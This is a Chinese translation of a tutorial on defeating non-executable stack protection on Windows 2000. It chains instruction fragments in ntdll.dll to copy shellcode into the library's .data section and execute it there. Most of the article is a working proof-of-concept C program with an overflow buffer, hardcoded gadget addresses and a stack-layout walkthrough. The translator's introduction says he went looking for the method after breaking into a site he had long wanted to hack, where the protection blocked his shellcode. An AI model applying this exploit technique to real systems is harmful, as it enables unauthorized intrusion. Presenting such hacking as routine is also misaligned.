绕过堆栈保护 编写shellcode
文章翻译:无敌最寂寞 [E.S.T]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
注:翻译文章在我国属于原创 译者有其中文版版权 免费发放希望转载注明作者
译者注:
只能说好久没发过文章了,重新回来的感觉真好。昨天手痒痒就去黑一个我一直想黑的站。在扫描过程中发现有溢出漏洞然而却无法溢出成功,想当然的认为是扫描器的误报。通过其它方式成功入侵后发现系统的确有这个漏洞,但是该系统使用了堆栈保护安全机制,即使入侵成功shellcode也无法执行。以前修改shellcode只是在变形上,现如今你再怎么变形也无法执行了。为了啃下这块硬骨头我四处搜索相关资料,
结果找到了这篇英文资料。但是上面没有写明作者是谁,从文中看估计是个叫CDROM的。由于没有确切信息,我也不便妄自猜测因此就先用不详代替了吧。如果哪为好心人知道原作者是说,请跟我联系。
本文我在翻译的时候加入了大量的自己的理解,如果哪位朋友发现有不对的地方还请指正。
概述
在本例中,我们来实际编写一个可以在使用堆栈保护的系统中执行的shellcode。该shellcode通过利用ntdll.dll的部分指令跳转到我们的代码执行。在大多数的dll中都可以实现此方法,而且可以完全饶过堆栈保护机制,因为通过此方法并没有任何代码在堆栈非执行区域中执行。
详述
我们也许都听说过堆栈保护这么一个词。很多安全程序提供了对堆栈中的代码执行的保护功能(译者注:原文这里用的是“protect”,其实我个人认为用“disallow”或者“disable”更确切的。因为这类所谓的堆栈保护,其实就是禁止代码在堆栈中执行。)。一些新的硬件产品也具有禁止代码在“非执行”内存区域中执行(比如AMD64)。然而编写一个饶过此机制的shellcode并不是件难事,下面我给大家简单的介绍一下。
方法就是使用dll的部分代码来达到我们的目的。如何做到呢?首先在堆栈发生溢出的时候我们将返回地址设置成ntdll.dll中的某个指令地址,我们要利用的ntdll的部分代码如下:
.78462FDF: AB stosd
.78462FE0: 5F pop edi
.78462FE1: C20400 retn 00004
...
.784635EC: 8BC6 mov eax,esi
.784635EE: 5F pop edi
.784635EF: 5E pop esi
.784635F0: C3 retn
那么我们将返回地址设置成784635EC,函数返回时就会跳到784635EC地址处执行。然后我们在堆栈中的跳转地址后面放入的一个特定的值就会被“弹出”到edi中(译者注:即上面784635EE处的指令。),紧跟其后的值就会被“弹出”到esi中。如上代码所示,在前面两个值被“弹出”后,后面如果放的是另一个返回地址的话,那么执行到上述代码中784635F0处的retn指令时,又会跳转到其它代码执行,依次类推……通
过这样的方法,我们就可以将在其它dll中的一些可以利用的代码片段连接起来构成一个合法的shellcode,达到不在堆栈中或者其它“非执行”区域中执行代码的目的。
译者注:看到这里也许还有些朋友没有理解这个方法。这里我简单给大家说说吧。
注意看上面我们采集的ntdll的代码片段,如果我们在堆栈中构造这样的数据(下面的代码我纯属叙述方便虚构的,在实际堆栈中并不是这样表示的):
00120000 784635ef ------->此处为函数的返回地址
00120004 90909090 ------->此处为我们shellcode中的指令
00120008 784635ec ------->此处指向了mov eax,esi指令地址
0012000c 784b2121 ------->此处指向了一段可写区域的起始地址
00120010 90909090 -------->此处为我们的shellcode中的指令
00120014 78462fdf -------->stosd指令的地址
00120018 00000000 -------->无用数据
0010001c 784635ec -------->此处指向了mov eax,esi指令地址
00100020 00000000 -------->无用数据
00100024 784b2125 -------->此处是一段可写区域的起始地址+4
....
....
....
当溢出后返回时,784635ef这个值将会“弹出”到eip中,程序执行流程被改变。接着执行784635ef处的pop esi指令,即“90909090”4个字节的数据被弹入到esi中。然后执行784635f0处的retn返回指令,堆栈中00120008处的784635ec弹入到eip中,执行mov eax,esi指令。紧接着又执行pop edi指令,堆栈中0012000c处的值784b2121弹入到edi中。然后再次执行到pop esi指令,堆栈中00120010处的“90909090”被弹入到esi中。接着又执行到retn指令,此时78462fdf弹入到eip中,开始执行stosd指令。大家都熟悉stosd指令吧,该指令是一个串送存指令,是将eax的值送存到edi寄存器中的值所标示的地址处。然后又执行78462FE0处的pop edi,然后执行到retn 4指令,eip的值又变成784635ec,同时esp+4,指向下一个可写区域地址……如此循环我们就可以将我们的shellcode写入到另一个地方,然后再去执行我们的shellcode。这样就可以避免shellcode在堆栈中执行。
这个方法的精髓就在这里,希望我的解释能让大家理解。我们继续看正文吧:-)
注意,在这个例子中CDROM利用了上述方法将代码转储(译者注:原文此处是“dump”,不知如何翻译更确切些。暂时翻译成转储了。有更好的翻译的朋友欢迎指正)到ntdll 的.data段中,然后跳到转储后的代码处以便执行。CDROM使用的方法并不完全可行,因为ntdll的.data段有可能也会被保护(译者注:PE文件格式中对段的描述也是有读、写、执行保护的)。但是在本例中这个CDROM的方法是可行的(虽然在实际利用的时候没有必要转储代码,我们依然可以将其它dll中的代码片段组合成一个完全的shellcode来执行,从而避免了在堆栈或其它“非执行”区域执行代码)。
Shellcode:
/*
This sample will work with ntdll Version: 5.0.2195.6899. The code should be compiled with
visual studio 6.0 in debug and default options for the project. (really,only open the
.c with visual studio and F7,and yes,yes...
*/
#include <stdio.h>
#define DEBUGZ
#ifdef DEBUGZ
/*
将要在.data段中执行的代码如下:
nops
xor eax,eax 33 c0
push eax 50
push 0x79460e7d 68 7d 0e 46 79
ret c3
*/
/*
for debugging we have activated DEBUGZ for giving the shellcode directly to
func(), but this shellcode could go perfectly as argv[1]
*/
char exploit[]=
{
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a',
0xEF,0x35,0x46,0x78,//在这里我们将覆盖返回地址( pop esi指令的地址)
0x90,0x90,0x90,0x90,//shellcode数据
0xEC,0x35,0x46,0x78,//mov eax,esi 指令的地址
0x21,0x21,0x4b,0x78,//执行ntdll的.data段中某个区域的首地址即0x784b2121
0x90,0x90,0x90,0x33,//shellcode数据
0xDF,0x2F,0x46,0x78,//此地址为ntdll中的stosd指令的地址
'a','a','a','a',
0xEC,0x35,0x46,0x78,//mov eax,esi 指令的地址
'a','a','a','a',
0x21+4,0x21,0x4b,0x78,//ntdll的.data段中的可写地址+4即0x784b2125
0xc0,0x50,0x68,0x7d,//shellcode数据
0xDF,0x2F,0x46,0x78,
'a','a','a','a',
0xEC,0x35,0x46,0x78,//smov eax,esi 指令的地址
'a','a','a','a',
0x21+8,0x21,0x4b,0x78,//可写地址+8
0x0e,0x46,0x79,0xc3,//shellcode数据
0xDF,0x2F,0x46,0x78,
'a','a','a','a',
0xEC,0x35,0x46,0x78,//mov eax,esi 指令的地址
'a','a','a','a',
0x21+12,0x21,0x4b,0x78,//可写地址+12
0x90,0x90,0x90,0x90,//shellcode数据
0xDF,0x2F,0x46,0x78,
'a','a','a','a',
0x21,0x21,0x4b,0x78, //可写地址的起始地址,所以shellcode写完后我们就该跳到这里来执行了。
};
char * pexploit[2] = {exploit,exploit};
#endif
void func(int argc,char ** argv)
{
char buffer[30];
if(argc>1)
{
strcpy(buffer,argv[1]);
}
}
void main(int argc,char ** argv)
{
#ifndef DEBUGZ
func(argc,argv);
#else
func(argc,pexploit);
#endif
}
/*
This is a example of a possible shellcode for winnt with ntdll.dll version: 5.0.2195.6899.
Its only a Proof of concept about how shellcodes could avoid stack protections.
This shellcode is not executed in the stack, however it has in the stack the useful values for
conducting the thread to ntdll code and forcing this code to write executable code to
ntdll .data section. Then,it will jump that code (that code will only call exitprocess so
the program will not crash thougth overflow occured).
*/
/*
ntdll.dll 代码片段:
-------------------------------------------------------------------------------------------
.78462FDF: AB stosd
.78462FE0: 5F pop edi
.78462FE1: C20400 retn 00004
-------------------------------------------------------------------------------------------
.784635EC: 8BC6 mov eax,esi
.784635EE: 5F pop edi
.784635EF: 5E pop esi
.784635F0: C3 retn
-------------------------------------------------------------------------------------------
.data(ntdll.dll) 784b0000 --- 这里是我们存放拷贝过来的shellcode地方
Number Name VirtSize RVA PhysSize Offset Flag-
1 .text 00045CAB 00001000 00045E00 00000400 60000020
2 ECODE 00004371 00047000 00004400 00046200 60000020
3 PAGE 00003FEB 0004C000 00004000 0004A600 60000020
4 .data 00002D84 00050000 00002200 0004E600 C0000040
5 .rsrc 0002D000 00053000 0002C400 00050800 40000040
6 .reloc 00002010 00080000 00002200 0007CC00 42000040
-------------------------------------------------------------------------------------------
这里是我们构造的溢出数据覆盖堆栈后的样子:
-----
???????? -> 垃圾数据
784635EF -> 第一个返回地址
???????? -> 垃圾数据
XXXXXXXX1-> 4个字节的shellcode数据(通过ntdll.dll中的784635EF地址处的 pop esi指令弹入到esi中)
784635EC -> mov eax,esi指令地址
784b2121 -> ntdll.dll的.data段中的可写地址
XXXXXXXX2-> 4个字节的shellcode数据(通过ntdll.dll中的784635EF地址处的 pop esi指令弹入到esi中)
78462FDF -> stosd指令地址
???????? -> 垃圾数据
784635EC -> 通上
???????? ->retn 4
784b2125
XXXXXXXX3
78462FDF
????????
784635EC
????????
784b2129
XXXXXXXX4
78462FDF
????????
784635EC
????????
...
784bXXXX
XXXXXXXXN
78462FDF
????????
784b2121
????????
Nota:
784635EF -> 'xF5
????????
XXXXXXXX1
784635EC -> 'xF5
784b2121 -> 'xK!!'
XXXXXXXX2
78462FDF -> 'xF/
????????
784635EC -> 'xF5
????????
784b2125 -> 'xK!%'
XXXXXXXX3
78462FDF -> 'xF/
????????
784635EC -> 'xF5
????????
784b2129 -> 'xK!)'
XXXXXXXX4
78462FDF -> 'xF/
????????
784635EC -> 'xF5
????????
...
784bXXXX
XXXXXXXXN
78462FDF -> 'xF/
????????
784b2121 -> 'xK!!'
????????
Info of my ntdll:
----------------
Version: 5.0.2195.6899
Count of sections 6 Machine intel386
Symbol table 00000000[00000000] Wed Mar 24 03:17:14 2004
Size of optional header 00E0 Magic optional header 010B
Linker version 5.12 OS version 5.00
Image version 5.00 Subsystem version 4.00
Entry point 00000000 Size of code 0004E200
Size of init data 00030800 Size of uninit data 00000000
Size of image 00083000 Size of header 00000400
Base of code 00001000 Base of data 0004E000
Image base 78460000 Subsystem Windows char
Section alignment 00001000 File alignment 00000200
Stack 00040000/00001000 Heap 00100000/00001000
Checksum 00082A23 Number of directories 16
*/
通过上面的方法我们就可以饶过堆栈保护机制执行我们的shellcode。此文到这里就结束了,欢迎大家批评指正。
译者注:
看完的同时,我也翻译完了。本人水平有限,也就能讲解到这个地步了。不过此文确实是经典之作,我看过后犹如刚刚欣赏完一段美丽的舞蹈。希望能给那些同样在学习研究溢出的朋友一点启示,也给那些被同样问题所捆饶的朋友一点帮助吧。